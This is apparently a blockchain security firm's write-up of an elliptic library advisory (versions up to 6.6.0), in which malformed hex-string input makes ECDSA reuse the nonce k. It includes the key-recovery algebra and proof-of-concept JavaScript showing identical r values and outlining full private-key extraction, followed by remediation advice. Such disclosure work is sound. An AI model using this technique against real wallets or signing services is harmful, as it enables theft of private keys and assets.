Private Key Leakage in ECDSA Signatures: Analysis of Malformed Input Vulnerability in the Elliptic Library
Author: enze
Editor: Liz
Introduction
A critical security vulnerability (GHSA-vjh7–7g9h-fjfh) has recently been discovered in the widely used JavaScript elliptic encryption library. Attackers can extract private keys by crafting specific inputs and exploiting a single signature operation, ultimately gaining complete control over the victim’s digital assets or identity credentials.
The root cause of this vulnerability lies in the elliptic library’s flawed handling of non-standard inputs, which can lead to repeated random numbers (k) in ECDSA signatures. Since the security of the ECDSA algorithm heavily depends on the uniqueness of k, any repetition allows attackers to directly derive the private key, resulting in irreversible security risks.
This article analyzes the vulnerability’s mechanism, causes, and impact while providing remediation recommendations to help developers mitigate security risks.
Background on the Vulnerability
Overview of the elliptic Library
elliptic is a widely used elliptic curve cryptography (ECC) library in the JavaScript ecosystem, supporting multiple curves such as secp256k1 and ed25519. It is extensively utilized in cryptocurrency wallets, identity authentication systems, and Web3 applications.
Affected Scope
- Affected Versions: elliptic <= 6.6.0
- Affected Curves: secp256k1, ed25519, etc.
- Impact Scenarios: Any application performing ECDSA signatures using externally provided input (especially systems accepting unfiltered user input for signing)
If an application relies on elliptic for ECDSA signatures and allows users to provide arbitrary messages for signing without proper filtering, it is highly likely to be affected by this vulnerability.
Vulnerability Mechanism
The Role of k in ECDSA Signatures
Imagine you have a unique stamp (your private key). Each time you sign a document, you must dip it in a special ink (random number k). The resulting imprint produces two numbers, r and s, which form the signature.
Key aspects of this process include:
- The stamp (private key) remains unchanged, representing your identity.
- A fresh ink (random k) must be used for every signature; k must never be reused.
- Even if signing the same document, the signature (r, s) must be different each time.
- Anyone can verify whether the imprint was made using your stamp (public key verification).
- However, no one can derive your stamp (private key) from the imprint, provided k is secure.
To ensure the security of k, ECDSA adopts the RFC 6979 standard, using a deterministic random number generator (HMAC_DRBG or HKDF) to compute k. When generating k, the private key d and the message m are used as seeds, ensuring that k remains fixed under the same input. The computation process is as follows:
k = combine(d, m) // Deterministic random number, compliant with RFC 6979
R = G × k // Compute the elliptic curve point R
r = R.x mod n // Take the x-coordinate of R as part of the signature
s = k^-1 ⋅ (m + d⋅r) mod n // Compute the other part of the signature, s
sig = (r, s) // Generate the final signature
Key Considerations:
- k must be random and unique; otherwise, the private key is exposed.
- If k is reused in two different signatures, the private key can be directly recovered using the two signatures (r, s1) and (r, s2).
Mathematical Derivation
If a user signs two different messages, m1 and m2, using the same k, the signatures will be:
s1 = (k^-1) * (m1 + r * d) mod n
s2 = (k^-1) * (m2 + r * d) mod n
An attacker can compute their difference:
s1 - s2 = (k^-1) * (m1 - m2) mod n
Since m1, m2, s1, and s2 are known, the attacker can solve for k:
k = ((s1 - s2)^-1) * (m1 - m2) mod n
Substituting k back into the original equation allows solving for the private key d:
r⋅d = s1⋅k - m1
d = (r^-1)⋅(s1⋅k - m1) mod n
Vulnerability Analysis
The elliptic library is supposed to use HMAC_DRBG (a deterministic random number generator) to ensure k’s uniqueness. However, due to input handling errors, different messages may generate the same k, leading to private key leakage.
k Generation Code in elliptic
Within the sign()
method of the elliptic library, k is generated using the HMAC_DRBG pseudorandom number generator:
elliptic/lib/elliptic/ec/index.js
msg = this._truncateToN(msg, false, options.msgBitLength);
// Zero-extend key to provide enough entropy
var bytes = this.n.byteLength();
var bkey = key.getPrivate().toArray('be', bytes);
// Zero-extend nonce to have the same byte size as N
var nonce = msg.toArray('be', bytes);
// Instantiate Hmac_DRBG
var drbg = new HmacDRBG({
hash: this.hash,
entropy: bkey,
nonce: nonce,
pers: options.pers,
persEnc: options.persEnc || 'utf8',
});
HMAC_DRBG’s input parameters include:
- Entropy: Derived from the private key (bkey), ensuring sufficient randomness.
- Nonce: Computed from the message (msg), influencing k’s final value.
Since HMAC_DRBG is deterministic, the same entropy and nonce will yield the same k. If nonce is identical across different signatures, k will be reused, leading to private key leakage.
Cause of the Vulnerability: BN Conversion Leading to Nonce Reuse
In elliptic’s implementation, msg
is converted into a BN (Big Number), and then nonce
is derived using:
var nonce = msg.toArray('be', bytes);
Problematic Aspects:
msg
is a BN instance, butnonce
is an array.- Different BN instances may produce the same array after conversion.
- This can cause different messages to generate identical nonces, leading to k reuse.
If k is reused for two different messages, the attacker can recover the private key using the equations mentioned earlier.
An attacker can craft a special message (msg
) such that the nonce is identical, leading to the reuse of k. By obtaining a pair of signatures (r,s1)(r,s1) and (r,s2)(r,s2), the attacker can mathematically recover the private key dd. More critically, the attacker can construct such a malicious message for any known message/signature pair. This means that by inducing the victim to sign a single malicious message, the attacker can fully recover the private key and forge arbitrary signatures.
Vulnerability Exploitation (PoC)
The elliptic
library allows the use of hexadecimal strings as one of the input types. During the signing process, the message (msg
) is converted into a BN (Big Number) instance and then into an array type. If two different messages generate the same array after conversion, the nonce will also be identical, ultimately resulting in the reuse of k.
Code Example:
const elliptic = require('elliptic');
const crypto = require('crypto');
const { ec: EC } = elliptic;
const privateKey = crypto.getRandomValues(new Uint8Array(32));
const curve = 'secp256k1';
const ec = new EC(curve);
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`;
const msg1 = 'message';
const msg2 = '-message';
console.log('\nOriginal Messages:');
console.log('msg1:', msg1);
console.log('msg2:', msg2);
const sig1 = prettyprint(ec.sign(msg1, privateKey));
const sig2 = prettyprint(ec.sign(msg2, privateKey));
console.log('Signature Results:');
console.log('sig1:', sig1);
console.log('sig2:', sig2);
Execution Output:
Original Messages:
msg1: message
msg2: -message
Signature Results:
sig1: r: 104603683070405608893121994772569954579668786354993804047147606840356574004233, s: 45238971282208969875952227936984289798913868693111844367904834409773355688280
sig2: r: 104603683070405608893121994772569954579668786354993804047147606840356574004233, s: 33413981207006126473424310277806110366155448264152524923855174498663885342744
msg1 = "message"
and msg2 = "-message"
are converted into BN instances, resulting in the same nonce (since the elliptic
library accepts hexadecimal strings as one of the possible input types). Due to the identical nonce, the HMAC_DRBG-generated kk is also the same. As seen in the signature results, the r
values are identical, which is a direct manifestation of k reuse.
Complete Attack Process:
- Simulate the victim signing a normal message to obtain msg0 and its signature sig0.
- The attacker constructs a malicious message msg1 and tricks the victim into signing it, obtaining sig1.
- Exploiting the k reuse vulnerability, k is computed from (r, s1) and (r, s2).
- Using k, the private key d is further calculated, leading to a successful attack.
Code Example:
const elliptic = require('elliptic');
const BN = require('bn.js');
const keccak256 = require('keccak256');
const { ec: EC } = elliptic;
const curve = 'secp256k1'; // or any other curve, e.g. ed25519
const ec = new EC(curve);
const privateKey = crypto.getRandomValues(new Uint8Array(32)); // Random private key
// Simulate the victim signing a normal transaction message
const message = "Example `personal_sign` message";
const msg0 = createEthereumSignatureMessage(message);
const sig0 = ec.sign(msg0, privateKey);
// Construct a malicious message
const msg1 = Maliciousmsg(msg0);
// Simulate the victim signing the malicious message
const sig1 = ec.sign(msg1, privateKey);
// Use mathematical calculations to extract the private key
const Fake_privateKey = extract(msg0, sig0, sig1, curve);
console.log('Curve:', curve);
console.log('Typeof:', typeof msg1);
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === Fake_privateKey);
const rnd = crypto.getRandomValues(new Uint8Array(32));
const st = (x) => JSON.stringify(x);
console.log('Keys equivalent?', st(ec.sign(rnd, Fake_privateKey).toDER()) === st(ec.sign(rnd, privateKey).toDER()));
console.log('Orig key:', Buffer.from(privateKey).toString('hex'));
console.log('Restored:', Fake_privateKey);
Execution Output:
Curve: secp256k1
Typeof: object
Keys equal? true
Keys equivalent? true
Orig key: dcd768c5a8346fe51d24377b1e7c47b2afa6d5e8a4fd12de685fce59d4d83e8d
Restored: dcd768c5a8346fe51d24377b1e7c47b2afa6d5e8a4fd12de685fce59d4d83e8d
Remediation Recommendations
- Upgrade elliptic to version 6.6.1+ as the issue has been officially fixed.
- Avoid signing unverified messages directly and ensure msg is properly standardized.
- Replace potentially compromised private keys.
Conclusion
This vulnerability in elliptic highlights the extreme sensitivity of ECDSA signatures to random number k. Once k is reused, the private key can be directly recovered, allowing an attacker to take full control of a user’s assets and identity. Developers should promptly fix this issue and strictly regulate input processing to ensure the security of ECDSA signatures. Lastly, thanks to the Rabby Wallet team for providing this vulnerability report.
References
[1] https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh
[2] https://paulmillr.com/posts/deterministic-signatures
About SlowMist
SlowMist is a blockchain security firm established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.
SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring) , SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.
By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.